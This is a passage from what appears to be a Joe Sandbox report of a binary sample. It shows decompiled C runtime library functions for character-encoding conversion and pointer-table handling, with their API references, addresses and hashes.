				intOrPtr* _t67;
				short* _t69;
				int _t72;
				char _t74;
				char* _t77;
				intOrPtr* _t78;
				int _t80;
				int _t86;
				void* _t87;
				int _t88;
				int _t92;
				char* _t95;
				intOrPtr _t99;
				char* _t102;
				int _t105;
				short* _t108;
				short* _t109;
				int _t110;
				void* _t111;
				int _t114;
				void* _t115;
				int _t116;
				signed int _t117;
				void* _t118;

				_t103 = __edx;
				_t117 = _t118;
				_t54 =  *0x1169060; // 0x43153b94
				 *(_t117 - 4) = _t54 ^ _t117;
				_t56 =  *(_t117 + 8);
				_t86 =  *(_t117 + 0x10);
				_t114 = 0;
				 *(_t117 - 0x18) = _t56;
				 *(_t117 - 0x10) = 0;
				_t108 =  *(_t117 + 0xc);
				 *(_t117 - 0x14) = _t108;
				if(_t56 == 0) {
					L3:
					_t109 = _t108;
					__eflags = _t109;
					if(__eflags != 0) {
						E01149CE4(_t86, _t117 - 0x2c,  *((intOrPtr*)(_t117 + 0x14)));
						_t59 =  *((intOrPtr*)(_t117 - 0x2c));
						_t95 =  *(_t117 - 0x18);
						__eflags = _t95;
						if(_t95 == 0) {
							__eflags =  *((intOrPtr*)(_t59 + 0xa8)) - _t114;
							if( *((intOrPtr*)(_t59 + 0xa8)) != _t114) {
								_t61 = WideCharToMultiByte( *(_t59 + 4), _t114, _t109, 0xffffffff, _t114, _t114, _t114, _t117 - 0x10);
								__eflags = _t61;
								if(__eflags == 0) {
									L54:
									_t62 = E0114C460(__eflags);
									_t110 = _t109 | 0xffffffff;
									__eflags = _t110;
									 *_t62 = 0x2a;
									L55:
									__eflags =  *((char*)(_t117 - 0x20));
									if( *((char*)(_t117 - 0x20)) != 0) {
										_t99 =  *((intOrPtr*)(_t117 - 0x24));
										_t51 = _t99 + 0x70;
										 *_t51 =  *(_t99 + 0x70) & 0xfffffffd;
										__eflags =  *_t51;
									}
									_push(_t110);
									L58:
									_pop(_t111);
									_pop(_t115);
									_pop(_t87);
									return E0114942B(_t87,  *(_t117 - 4) ^ _t117, _t103, _t111, _t115);
								}
								__eflags =  *(_t117 - 0x10) - _t114;
								if(__eflags != 0) {
									goto L54;
								}
								_t48 = _t61 - 1; // -1
								_t110 = _t48;
								goto L55;
							}
							_t65 =  *_t109 & 0x0000ffff;
							__eflags = _t65;
							if(_t65 == 0) {
								L50:
								_t110 = _t114;
								goto L55;
							}
							_t103 = 0xff;
							while(1) {
								__eflags = _t65 - _t103;
								if(__eflags > 0) {
									goto L54;
								}
								_t109 =  &(_t109[1]);
								_t114 = _t114 + 1;
								_t65 =  *_t109 & 0x0000ffff;
								__eflags = _t65;
								if(_t65 != 0) {
									continue;
								}
								goto L50;
							}
							goto L54;
						}
						__eflags =  *((intOrPtr*)(_t59 + 0xa8)) - _t114;
						if( *((intOrPtr*)(_t59 + 0xa8)) != _t114) {
							__eflags =  *((intOrPtr*)(_t59 + 0x74)) - 1;
							if( *((intOrPtr*)(_t59 + 0x74)) != 1) {
								_t103 = _t117 - 0x10;
								_t110 = WideCharToMultiByte( *(_t59 + 4), _t114, _t109, 0xffffffff, _t95, _t86, _t114, _t117 - 0x10);
								__eflags = _t110;
								if(_t110 == 0) {
									__eflags =  *(_t117 - 0x10) - _t114;
									if(__eflags != 0) {
										L44:
										_t67 = E0114C460(__eflags);
										_t114 = _t114 | 0xffffffff;
										 *_t67 = 0x2a;
										goto L50;
									}
									__eflags = GetLastError() - 0x7a;
									if(__eflags != 0) {
										goto L44;
									}
									__eflags = _t86;
									if(_t86 == 0) {
										goto L55;
									}
									_t69 =  *(_t117 - 0x14);
									while(1) {
										_t103 = WideCharToMultiByte( *( *((intOrPtr*)(_t117 - 0x2c)) + 4), _t114, _t69, 1, _t117 - 0xc,  *( *((intOrPtr*)(_t117 - 0x2c)) + 0x74), _t114, _t117 - 0x10);
										__eflags = _t103;
										if(__eflags == 0) {
											goto L54;
										}
										__eflags =  *(_t117 - 0x10) - _t114;
										if(__eflags != 0) {
											goto L54;
										}
										__eflags = _t103;
										if(__eflags < 0) {
											goto L54;
										}
										__eflags = _t103 - 5;
										if(__eflags > 0) {
											goto L54;
										}
										__eflags = _t103 + _t110 - _t86;
										if(_t103 + _t110 > _t86) {
											goto L55;
										}
										_t72 = _t114;
										 *(_t117 - 0x1c) = _t72;
										__eflags = _t103;
										if(_t103 <= 0) {
											L42:
											_t69 =  &(( *(_t117 - 0x14))[1]);
											 *(_t117 - 0x14) = _t69;
											__eflags = _t110 - _t86;
											if(_t110 < _t86) {
												continue;
											}
											goto L55;
										}
										_t102 =  *(_t117 - 0x18);
										while(1) {
											_t74 =  *((intOrPtr*)(_t117 + _t72 - 0xc));
											_t102[_t110] = _t74;
											__eflags = _t74;
											if(_t74 == 0) {
												goto L55;
											}
											_t72 =  *(_t117 - 0x1c) + 1;
											_t110 = _t110 + 1;
											 *(_t117 - 0x1c) = _t72;
											__eflags = _t72 - _t103;
											if(_t72 < _t103) {
												continue;
											}
											goto L42;
										}
										goto L55;
									}
									goto L54;
								}
								__eflags =  *(_t117 - 0x10) - _t114;
								if(__eflags != 0) {
									goto L44;
								}
								_t25 = _t110 - 1; // -1
								_t114 = _t25;
								goto L50;
							}
							_t88 = _t86;
							__eflags = _t88;
							if(_t88 == 0) {
								L22:
								_t103 = _t117 - 0x10;
								_push(WideCharToMultiByte( *(_t59 + 4), _t114, _t109, _t88, _t95, _t88, _t114, _t117 - 0x10));
								_pop(_t116);
								_t114 = _t116;
								__eflags = _t114;
								if(__eflags == 0) {
									goto L44;
								}
								__eflags =  *(_t117 - 0x10);
								if(__eflags != 0) {
									goto L44;
								}
								_t77 =  *(_t117 - 0x18);
								__eflags = _t77[_t114 - 1];
								if(_t77[_t114 - 1] == 0) {
									_t114 = _t114 - 1;
								}
								goto L50;
							}
							_t78 = _t109;
							_t105 = _t88;
							while(1) {
								__eflags =  *_t78 - _t114;
								if( *_t78 == _t114) {
									break;
								}
								_t78 = _t78 + 2;
								_t105 = _t105 - 1;
								__eflags = _t105;
								if(_t105 != 0) {
									continue;
								}
								break;
							}
							__eflags = _t105;
							if(_t105 != 0) {
								__eflags =  *_t78 - _t114;
								if( *_t78 == _t114) {
									_t88 = (_t78 - _t109 >> 1) + 1;
									__eflags = _t88;
								}
							}
							_t59 =  *((intOrPtr*)(_t117 - 0x2c));
							goto L22;
						}
						_t92 = _t86;
						__eflags = _t92;
						if(_t92 == 0) {
							goto L50;
						}
						_t103 = 0xff;
						while(1) {
							__eflags =  *_t109 - _t103;
							if(__eflags > 0) {
								goto L44;
							}
							_t95[_t114] =  *_t109;
							_t80 =  *_t109;
							_t109 =  &(_t109[1]);
							__eflags = _t80;
							if(_t80 == 0) {
								goto L50;
							}
							_t114 = _t114 + 1;
							__eflags = _t114 - _t92;
							if(_t114 < _t92) {
								continue;
							}
							goto L50;
						}
						goto L44;
					}
					 *((intOrPtr*)(E0114C460(__eflags))) = 0x16;
					E0114B5F1();
					goto L58;
				}
				_t86 = _t86;
				if(_t86 != 0) {
					goto L3;
				} else {
					goto L58;
				}
			}

0x0115d415
0x0115d417
0x0115d41b
0x0115d422
0x0115d425
0x0115d429
0x0115d42d
0x0115d42f
0x0115d432
0x0115d436
0x0115d439
0x0115d43e
0x0115d44b
0x0115d44b
0x0115d44b
0x0115d44d
0x0115d46d
0x0115d475
0x0115d478
0x0115d478
0x0115d47a
0x0115d602
0x0115d608
0x0115d640
0x0115d640
0x0115d642
0x0115d64e
0x0115d64e
0x0115d653
0x0115d653
0x0115d656
0x0115d65c
0x0115d65c
0x0115d660
0x0115d662
0x0115d665
0x0115d665
0x0115d665
0x0115d665
0x0115d669
0x0115d66b
0x0115d66e
0x0115d66f
0x0115d672
0x0115d67b
0x0115d67b
0x0115d644
0x0115d647
0x00000000
0x00000000
0x0115d649
0x0115d649
0x00000000
0x0115d649
0x0115d60a
0x0115d60d
0x0115d610
0x0115d628
0x0115d628
0x00000000
0x0115d628
0x0115d612
0x0115d617
0x0115d617
0x0115d61a
0x00000000
0x00000000
0x0115d61c
0x0115d61f
0x0115d620
0x0115d623
0x0115d626
0x00000000
0x00000000
0x00000000
0x0115d626
0x00000000
0x0115d617
0x0115d480
0x0115d486
0x0115d4bc
0x0115d4c0
0x0115d523
0x0115d539
0x0115d539
0x0115d53b
0x0115d54e
0x0115d551
0x0115d5f2
0x0115d5f2
0x0115d5f7
0x0115d5fa
0x00000000
0x0115d5fa
0x0115d55d
0x0115d560
0x00000000
0x00000000
0x0115d566
0x0115d568
0x00000000
0x00000000
0x0115d56e
0x0115d571
0x0115d58d
0x0115d58f
0x0115d591
0x00000000
0x00000000
0x0115d597
0x0115d59a
0x00000000
0x00000000
0x0115d5a0
0x0115d5a2
0x00000000
0x00000000
0x0115d5a8
0x0115d5ab
0x00000000
0x00000000
0x0115d5b4
0x0115d5b6
0x00000000
0x00000000
0x0115d5bc
0x0115d5be
0x0115d5c1
0x0115d5c3
0x0115d5e3
0x0115d5e6
0x0115d5e9
0x0115d5ec
0x0115d5ee
0x00000000
0x00000000
0x00000000
0x0115d5f0
0x0115d5c5
0x0115d5c8
0x0115d5c8
0x0115d5cc
0x0115d5cf
0x0115d5d1
0x00000000
0x00000000
0x0115d5da
0x0115d5db
0x0115d5dc
0x0115d5df
0x0115d5e1
0x00000000
0x00000000
0x00000000
0x0115d5e1
0x00000000
0x0115d5c8
0x00000000
0x0115d571
0x0115d53d
0x0115d540
0x00000000
0x00000000
0x0115d546
0x0115d546
0x00000000
0x0115d546
0x0115d4c2
0x0115d4c2
0x0115d4c4
0x0115d4e8
0x0115d4e8
0x0115d4fb
0x0115d4fc
0x0115d4fd
0x0115d4fd
0x0115d4ff
0x00000000
0x00000000
0x0115d505
0x0115d509
0x00000000
0x00000000
0x0115d50f
0x0115d512
0x0115d517
0x0115d51d
0x0115d51d
0x00000000
0x0115d517
0x0115d4c7
0x0115d4c8
0x0115d4ca
0x0115d4ca
0x0115d4cd
0x00000000
0x00000000
0x0115d4cf
0x0115d4d2
0x0115d4d2
0x0115d4d3
0x00000000
0x00000000
0x00000000
0x0115d4d3
0x0115d4d5
0x0115d4d7
0x0115d4d9
0x0115d4dc
0x0115d4e4
0x0115d4e4
0x0115d4e4
0x0115d4dc
0x0115d4e5
0x00000000
0x0115d4e5
0x0115d488
0x0115d488
0x0115d48a
0x00000000
0x00000000
0x0115d490
0x0115d495
0x0115d495
0x0115d498
0x00000000
0x00000000
0x0115d4a0
0x0115d4a3
0x0115d4a6
0x0115d4a9
0x0115d4ac
0x00000000
0x00000000
0x0115d4b2
0x0115d4b3
0x0115d4b5
0x00000000
0x00000000
0x00000000
0x0115d4b7
0x00000000
0x0115d495
0x0115d454
0x0115d45a
0x00000000
0x0115d45f
0x0115d440
0x0115d442
0x00000000
0x0115d444
0x00000000
0x0115d444

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed4c4c8c03fc87950d1c258b518888ff0a6363c4ba58e241be9bf9ab23a03c5
Instruction ID: a5cfb675134c0106628cd0b0edde09c2641ee6a754934300a998976e48404fe4
Opcode Fuzzy Hash: aed4c4c8c03fc87950d1c258b518888ff0a6363c4ba58e241be9bf9ab23a03c5
Instruction Fuzzy Hash: 0E71E071901216DFDF698FD8EC449BABFB5EB81328B244129E93997181DB709842CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0115D1B8, Relevance: 7.6, APIs: 5, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0115D1B8() {
				void* __ebx;
				signed int _t30;
				intOrPtr _t32;
				int _t34;
				int _t36;
				int _t40;
				int _t46;
				int _t47;
				char* _t54;
				intOrPtr _t57;
				int _t59;
				int _t60;
				signed char _t62;
				short* _t66;
				short* _t67;
				short* _t70;
				int _t71;
				void* _t73;
				void* _t74;

				_t73 = _t74;
				_t30 =  *(_t73 + 0x10);
				_t66 =  *(_t73 + 8);
				_t70 = 0;
				if(_t66 == 0) {
					L3:
					_t54 =  *(_t73 + 0xc);
					_t80 = _t54;
					if(_t54 != 0) {
						E01149CE4(_t54, _t73 - 0x14,  *((intOrPtr*)(_t73 + 0x14)));
						_t32 =  *((intOrPtr*)(_t73 - 0x14));
						_t67 = _t66;
						__eflags = _t67;
						if(_t67 == 0) {
							__eflags =  *((intOrPtr*)(_t32 + 0xa8)) - _t70;
							if( *((intOrPtr*)(_t32 + 0xa8)) != _t70) {
								_t71 = _t70 | 0xffffffff;
								_t34 = MultiByteToWideChar( *(_t32 + 4), 9, _t54, _t71, _t70, _t70);
								__eflags = _t34;
								if(__eflags != 0) {
									goto L26;
								} else {
									 *((intOrPtr*)(E0114C460(__eflags))) = 0x2a;
								}
							} else {
								_t36 = E011493A0(_t54);
								goto L23;
							}
						} else {
							__eflags =  *((intOrPtr*)(_t32 + 0xa8)) - _t70;
							if( *((intOrPtr*)(_t32 + 0xa8)) != _t70) {
								_t71 = _t70 | 0xffffffff;
								_t34 = MultiByteToWideChar( *(_t32 + 4), 9, _t54, _t71, _t67,  *(_t73 + 0x10));
								__eflags = _t34;
								if(_t34 != 0) {
									L26:
									_t25 = _t34 - 1; // -1
									_t71 = _t25;
								} else {
									__eflags = GetLastError() - 0x7a;
									if(__eflags != 0) {
										L20:
										 *((intOrPtr*)(E0114C460(__eflags))) = 0x2a;
										 *_t67 = 0;
									} else {
										_t59 =  *(_t73 + 0x10);
										_t40 = _t54;
										while(1) {
											 *(_t73 + 8) = _t40;
											_t60 = _t59;
											__eflags = _t60;
											if(_t60 == 0) {
												break;
											}
											 *(_t73 - 4) = _t60 - 1;
											_t62 =  *_t40;
											__eflags = _t62;
											if(_t62 == 0) {
												break;
											} else {
												_t46 = E01157280(_t62 & 0x000000ff, _t73 - 0x14);
												__eflags = _t46;
												_t47 =  *(_t73 + 8);
												if(_t46 == 0) {
													L17:
													_t59 =  *(_t73 - 4);
													_t40 = _t47 + 1;
													__eflags = _t40;
													continue;
												} else {
													_t47 = _t47 + 1;
													__eflags =  *_t47;
													if(__eflags == 0) {
														goto L20;
													} else {
														goto L17;
													}
												}
											}
											goto L27;
										}
										_t36 = MultiByteToWideChar( *( *((intOrPtr*)(_t73 - 0x14)) + 4), 1, _t54, _t40 - _t54, _t67,  *(_t73 + 0x10));
										__eflags = _t36;
										if(__eflags != 0) {
											L23:
											_t71 = _t36;
										} else {
											goto L20;
										}
									}
								}
							} else {
								__eflags =  *(_t73 + 0x10) - _t70;
								if( *(_t73 + 0x10) > _t70) {
									while(1) {
										 *_t67 =  *(_t70 + _t54) & 0x000000ff;
										__eflags =  *(_t70 + _t54);
										if( *(_t70 + _t54) == 0) {
											goto L27;
										}
										_t70 =  &(_t70[0]);
										_t67 =  &(_t67[1]);
										__eflags = _t70 -  *(_t73 + 0x10);
										if(_t70 <  *(_t73 + 0x10)) {
											continue;
										} else {
										}
										goto L27;
									}
								}
							}
						}
						L27:
						__eflags =  *((char*)(_t73 - 8));
						if( *((char*)(_t73 - 8)) != 0) {
							_t57 =  *((intOrPtr*)(_t73 - 0xc));
							_t28 = _t57 + 0x70;
							 *_t28 =  *(_t57 + 0x70) & 0xfffffffd;
							__eflags =  *_t28;
						}
						_t30 = _t71;
					} else {
						 *((intOrPtr*)(E0114C460(_t80))) = 0x16;
						_t30 = E0114B5F1() | 0xffffffff;
					}
				} else {
					if(_t30 != 0) {
						 *_t66 = 0;
						goto L3;
					}
				}
				return _t30;
			}

0x0115d1ba
0x0115d1bb
0x0115d1c3
0x0115d1c6
0x0115d1ca
0x0115d1d9
0x0115d1dd
0x0115d1dd
0x0115d1df
0x0115d1ff
0x0115d204
0x0115d207
0x0115d207
0x0115d209
0x0115d2ca
0x0115d2d0
0x0115d2df
0x0115d2ef
0x0115d2ef
0x0115d2f1
0x00000000
0x0115d2f3
0x0115d2f8
0x0115d2f8
0x0115d2d2
0x0115d2d3
0x00000000
0x0115d2d8
0x0115d20f
0x0115d20f
0x0115d215
0x0115d242
0x0115d24d
0x0115d253
0x0115d255
0x0115d300
0x0115d300
0x0115d300
0x0115d25b
0x0115d261
0x0115d264
0x0115d2b8
0x0115d2bd
0x0115d2c5
0x0115d266
0x0115d266
0x0115d26a
0x0115d297
0x0115d297
0x0115d29a
0x0115d29a
0x0115d29c
0x00000000
0x00000000
0x0115d26e
0x0115d271
0x0115d273
0x0115d275
0x00000000
0x0115d277
0x0115d27f
0x0115d285
0x0115d287
0x0115d28b
0x0115d293
0x0115d293
0x0115d296
0x0115d296
0x00000000
0x0115d28d
0x0115d28d
0x0115d28e
0x0115d291
0x00000000
0x00000000
0x00000000
0x00000000
0x0115d291
0x0115d28b
0x00000000
0x0115d275
0x0115d2b4
0x0115d2b4
0x0115d2b6
0x0115d2d9
0x0115d2d9
0x00000000
0x00000000
0x00000000
0x0115d2b6
0x0115d264
0x0115d217
0x0115d217
0x0115d21a
0x0115d220
0x0115d224
0x0115d227
0x0115d22b
0x00000000
0x00000000
0x0115d231
0x0115d232
0x0115d235
0x0115d238
0x00000000
0x00000000
0x0115d23a
0x00000000
0x0115d238
0x0115d220
0x0115d21a
0x0115d215
0x0115d303
0x0115d303
0x0115d307
0x0115d309
0x0115d30c
0x0115d30c
0x0115d30c
0x0115d30c
0x0115d310
0x0115d1e1
0x0115d1e6
0x0115d1f1
0x0115d1f1
0x0115d1cc
0x0115d1ce
0x0115d1d6
0x00000000
0x0115d1d6
0x0115d1ce
0x0115d318

APIs

MultiByteToWideChar.KERNEL32(0115FFCC,00000009,01165310,00000000,00000000,0115FFC4,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0115D24D
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 0115D25B
__isleadbyte_l.LIBCMT ref: 0115D27F
MultiByteToWideChar.KERNEL32(0115FFCC,00000001,01165310,01165310,00000000,0115FFC4,?,?,?,?,?,?,00000000,00000000), ref: 0115D2AE
MultiByteToWideChar.KERNEL32(0115FFCC,00000009,01165310,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0115D2E9

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast__isleadbyte_l
String ID:
API String ID: 1383288797-0
Opcode ID: 31e9a2f162e080f432d8f8cfc2cf14baaaef841f4b652375bc711c946718541e
Instruction ID: 389f50003c0864d41bad4c8e2aa6485dfaa90454f7c4fc33cf752da1d543e2b6
Opcode Fuzzy Hash: 31e9a2f162e080f432d8f8cfc2cf14baaaef841f4b652375bc711c946718541e
Instruction Fuzzy Hash: 9241D47150820AEFDFA99FA8EC44ABF7BA4EF027A4F150155FC7597191DB308840C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01152915, Relevance: 7.6, APIs: 5, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E01152915(void* __ecx, void* __edx, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __esp;
				signed int _t25;
				void* _t32;
				int _t35;
				void* _t40;
				int _t45;
				int _t48;
				void* _t49;
				int _t51;
				void* _t55;
				void* _t57;
				void* _t60;
				short* _t62;
				short* _t63;
				void* _t64;
				int _t65;
				int _t66;
				signed int _t67;
				void* _t68;
				void* _t75;

				_t75 = __fp0;
				_t57 = __edx;
				_pop(_t67);
				_push(__ecx);
				_t25 =  *0x1169060; // 0x43153b94
				 *(_t67 - 4) = _t25 ^ _t67;
				_t51 =  *(_t67 + 0x1c);
				if(_t51 == 0) {
					_t45 =  *( *((intOrPtr*)( *((intOrPtr*)(_t67 + 8)))) + 4);
					_t51 = _t45;
					 *(_t67 + 0x1c) = _t45;
				}
				_t48 = MultiByteToWideChar(_t51, 1 + (0 |  *((intOrPtr*)(_t67 + 0x20)) != 0x00000000) * 8,  *(_t67 + 0x10),  *(_t67 + 0x14), 0, 0);
				if(_t48 != 0) {
					if(__eflags <= 0) {
						L13:
						_push(0);
						_pop(_t62);
						goto L14;
					} else {
						__eflags = _t48 - 0x7ffffff0;
						if(_t48 > 0x7ffffff0) {
							goto L13;
						} else {
							_t55 = _t48 + _t48;
							__eflags = _t55 + 8 - _t55;
							if(_t55 + 8 <= _t55) {
								goto L13;
							} else {
								_t40 = 8 + _t48 * 2;
								__eflags = _t40 - 0x400;
								if(_t40 > 0x400) {
									_push(_t40);
									_t65 = E01149F2F(_t48, _t57, 0, _t75);
									_t66 = _t65;
									__eflags = _t66;
									if(_t66 == 0) {
										goto L3;
									} else {
										 *_t66 = 0xdddd;
										goto L12;
									}
								} else {
									E01156C50(_t40);
									_t66 = _t68;
									__eflags = _t66;
									if(_t66 == 0) {
										goto L3;
									} else {
										 *_t66 = 0xcccc;
										L12:
										_t62 = _t66 + 8;
										L14:
										_t63 = _t62;
										__eflags = _t63;
										if(_t63 == 0) {
											goto L3;
										} else {
											E01149280(_t63, 0, _t48 + _t48);
											_t35 = MultiByteToWideChar( *(_t67 + 0x1c), 1,  *(_t67 + 0x10),  *(_t67 + 0x14), _t63, _t48);
											__eflags = _t35;
											if(_t35 != 0) {
												0 = GetStringTypeW( *(_t67 + 0xc), _t63, _t35,  *(_t67 + 0x18));
											}
											E01150BA7(_t63);
											_push(0);
										}
									}
								}
							}
						}
					}
				} else {
					L3:
				}
				_pop(_t60);
				_pop(_t64);
				_pop(_t49);
				_t32 = E0114942B(_t49,  *(_t67 - 4) ^ _t67, _t57, _t60, _t64);
				_push(_t67);
				return _t32;
			}

0x01152915
0x01152915
0x01152917
0x01152918
0x01152919
0x01152920
0x01152923
0x0115292d
0x01152934
0x01152937
0x01152939
0x01152939
0x0115295d
0x0115295f
0x01152968
0x011529b5
0x011529b5
0x011529b6
0x00000000
0x0115296a
0x0115296a
0x01152970
0x00000000
0x01152972
0x01152972
0x01152978
0x0115297a
0x00000000
0x0115297c
0x0115297c
0x01152983
0x01152988
0x0115299d
0x011529a4
0x011529a6
0x011529a6
0x011529a8
0x00000000
0x011529aa
0x011529aa
0x00000000
0x011529aa
0x0115298a
0x0115298a
0x01152990
0x01152991
0x01152993
0x00000000
0x01152995
0x01152995
0x011529b0
0x011529b0
0x011529b7
0x011529b7
0x011529b7
0x011529b9
0x00000000
0x011529bb
0x011529c1
0x011529d6
0x011529dc
0x011529de
0x011529ef
0x011529ef
0x011529f1
0x011529f7
0x011529f8
0x011529b9
0x01152993
0x01152988
0x0115297a
0x01152970
0x01152961
0x01152961
0x01152961
0x011529fc
0x011529fd
0x011529fe
0x01152a04
0x01152a09
0x01152a0c

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,00000001,00000000,?,?,01152A39,00000100,?,00000100,?), ref: 01152955
__alloca_probe_16.LIBCMT ref: 0115298A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,?,00000100,?,?,00000000), ref: 011529D6
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 011529E8
__freea.LIBCMT ref: 011529F1

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ByteCharMultiWide$StringType__alloca_probe_16__freea
String ID:
API String ID: 1272776707-0
Opcode ID: 1ee24b92bd21a0c305ec26b3ec561c1a9e8a203f012e25ee09f62e18cb3c33d7
Instruction ID: 4f9d322b723cf23f408c075af6b1f718b3728d2c8fd55f534400a6fb6be7aef6
Opcode Fuzzy Hash: 1ee24b92bd21a0c305ec26b3ec561c1a9e8a203f012e25ee09f62e18cb3c33d7
Instruction Fuzzy Hash: 1F31A23260012AEFDF689F95DC80DEF7BBDEB49795B100129FD24D6250E7319850C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 011495C7, Relevance: 7.6, APIs: 5, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 21%

			E011495C7(intOrPtr _a4) {
				intOrPtr _v8;
				void* __ebx;
				intOrPtr _t12;
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				void* _t22;
				intOrPtr* _t23;
				intOrPtr _t25;
				void* _t26;
				void* _t34;
				signed int _t37;
				void* _t39;
				intOrPtr* _t40;
				void* _t42;

				_t40 = __imp__DecodePointer;
				_t12 =  *_t40( *0x116cc30, _t34, _t39, _t22, _t26);
				_v8 = _t12;
				_t23 =  *_t40( *0x116cc2c);
				_t14 = _v8;
				if(_t23 < _t14) {
					L11:
					_t15 = 0;
				} else {
					_t37 = _t23 - _t14;
					_t3 = _t37 + 4; // 0x4
					if(_t3 < 4) {
						goto L11;
					} else {
						_t42 = E0114B18D(_t14);
						_t4 = _t37 + 4; // 0x4
						_t17 = _t4;
						if(_t42 >= _t17) {
							L10:
							__imp__EncodePointer(_a4);
							_t10 = _t23 + 4; // 0x4
							 *_t23 = _t17;
							__imp__EncodePointer(_t10);
							 *0x116cc2c = _t17;
							_t15 = _a4;
						} else {
							if(_t42 < 0x800) {
								0x800 = _t42;
							}
							_t25 = _v8;
							_t19 = 0x800 + _t42;
							if(0x800 + _t42 < _t42) {
								L7:
								_t6 = _t42 + 0x10; // 0x10
								_t20 = _t6;
								if(_t6 < _t42) {
									goto L11;
								} else {
									_t17 = E0114B24D(_t25, _t25, _t20);
									if(_t17 == 0) {
										goto L11;
									} else {
										goto L9;
									}
								}
							} else {
								_t17 = E0114B24D(_t25, _t25, _t19);
								if(_t17 != 0) {
									L9:
									_t23 = _t17 + (_t37 >> 2) * 4;
									__imp__EncodePointer(_t17);
									 *0x116cc30 = _t17;
									goto L10;
								} else {
									goto L7;
								}
							}
						}
					}
				}
				return _t15;
			}

0x011495cd
0x011495da
0x011495e2
0x011495e7
0x011495e9
0x011495ee
0x01149676
0x01149676
0x011495f4
0x011495f6
0x011495f8
0x011495fe
0x00000000
0x01149600
0x01149607
0x01149608
0x01149608
0x0114960e
0x01149657
0x0114965a
0x01149660
0x01149663
0x01149666
0x0114966c
0x01149671
0x01149610
0x01149617
0x0114961a
0x0114961a
0x0114961b
0x0114961e
0x01149622
0x01149631
0x01149631
0x01149631
0x01149636
0x00000000
0x01149638
0x0114963a
0x01149643
0x00000000
0x00000000
0x00000000
0x00000000
0x01149643
0x01149624
0x0114962d
0x0114962f
0x01149645
0x01149649
0x0114964c
0x01149652
0x00000000
0x00000000
0x00000000
0x00000000
0x0114962f
0x01149622
0x0114960e
0x011495fe
0x0114967e

APIs

DecodePointer.KERNEL32(?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2,?,0114A723), ref: 011495DA
DecodePointer.KERNEL32(?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2,?,0114A723), ref: 011495E5
EncodePointer.KERNEL32(00000000,?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2), ref: 0114964C
EncodePointer.KERNEL32(?,?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2), ref: 0114965A
EncodePointer.KERNEL32(00000004,?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2), ref: 01149666

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: Pointer$Encode$Decode
String ID:
API String ID: 1898114064-0
Opcode ID: ddfa390d1289033539678aa3bc6339bde54592f7731e37362fa67943dc8a7ec6
Instruction ID: bef0ea6b5a5f277ff1a077d975230c02816a8ae062f5987aeeae6138b083a1b7
Opcode Fuzzy Hash: ddfa390d1289033539678aa3bc6339bde54592f7731e37362fa67943dc8a7ec6
Instruction Fuzzy Hash: 8711B472500219AFDB2CAF74EC94C9E7BEEEB086983144576E51AC3119EB31ED44CB94

Uniqueness

Uniqueness Score: -1.00%

